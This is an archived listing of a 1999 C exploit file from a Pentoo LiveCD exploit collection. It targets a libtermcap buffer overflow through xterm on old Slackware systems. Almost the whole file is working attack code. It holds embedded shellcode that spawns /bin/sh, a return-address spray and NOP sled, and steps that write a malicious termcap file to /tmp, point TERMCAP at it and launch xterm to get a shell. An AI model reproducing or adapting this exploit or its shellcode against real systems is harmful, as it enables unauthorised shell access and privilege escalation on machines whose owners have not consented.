home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / xwin / libtermcap.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  78 lines

  1. /*
  2.    ****************************************************
  3.    ***          libtermcap xterm exploit            ***
  4.    ***                by m0f0 1999                  ***
  5.    ***                                              ***
  6.    ***          it works for xterm/nxterm           ***
  7.    ***          Tested Slackware 3.5, 3.6           ***
  8.    ****************************************************
  9. */
  10.  
  11. #include <stdio.h>
  12. #define BUF_SIZE 5000
  13. #define POS_RET  2000
  14. #define POS_SEP  3000
  15. #define RETADDR  0xbfffefef
  16. #define EGG      "/tmp/egg_termcap"
  17.  
  18. // shellcode
  19. char shellcode[] = // 48 caracteres
  20.     "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
  21.     "\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
  22.     "\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
  23.     "\xff\xff/bin/sh";
  24.  
  25. void main (int argc, char *argv[]) {
  26.   int i;
  27.   FILE *f;
  28.   char buf[BUF_SIZE];
  29.   long retaddr, offset;
  30.     
  31.   printf ("\n");
  32.   printf ("****************************************** \n");
  33.   printf ("* libtermcap xterm exploit, by m0f0 1999 * \n");
  34.   printf ("****************************************** \n\n");
  35.   printf ("Use : %s [offset] \n", argv[0]);
  36.  
  37.   offset = 0;
  38.   if (argc>1) {
  39.     offset = atol (argv[1]);
  40.   }
  41.  
  42.   retaddr = RETADDR + offset;
  43.   printf ("Return Address = 0x%x \n",retaddr);
  44.     
  45.  
  46.   // Fill buffer with NOP's
  47.   memset (buf, 0x90, BUF_SIZE);
  48.   buf[BUF_SIZE]=0;
  49.     
  50.   // Set termcap file header and sep
  51.   memcpy (buf, "xterm|", 6);
  52.   memcpy (buf+POS_SEP,":\\",2);
  53.  
  54.   // Return Address
  55.   for (i=POS_RET; i<=POS_SEP-10; i+=4) {
  56.     *(long*)(buf+i) = (long) retaddr;
  57.   }
  58.  
  59.   // Copy shellCode
  60.   for (i=0; i<strlen(shellcode); i++) {
  61.     buf[i+2000] = shellcode[i];
  62.   }
  63.  
  64.   // Write EGG_TERMCAP
  65.   f = fopen (EGG,"w");
  66.   fprintf (f,"%s",buf);
  67.   fclose (f);
  68.     
  69.   // Export TERMCAP
  70.   setenv ("TERMCAP", EGG, 1);
  71.  
  72.   // Run program
  73.   execl ("/usr/X11R6/bin/xterm","xterm",NULL);
  74.  
  75. }
  76.  
  77.  
  78.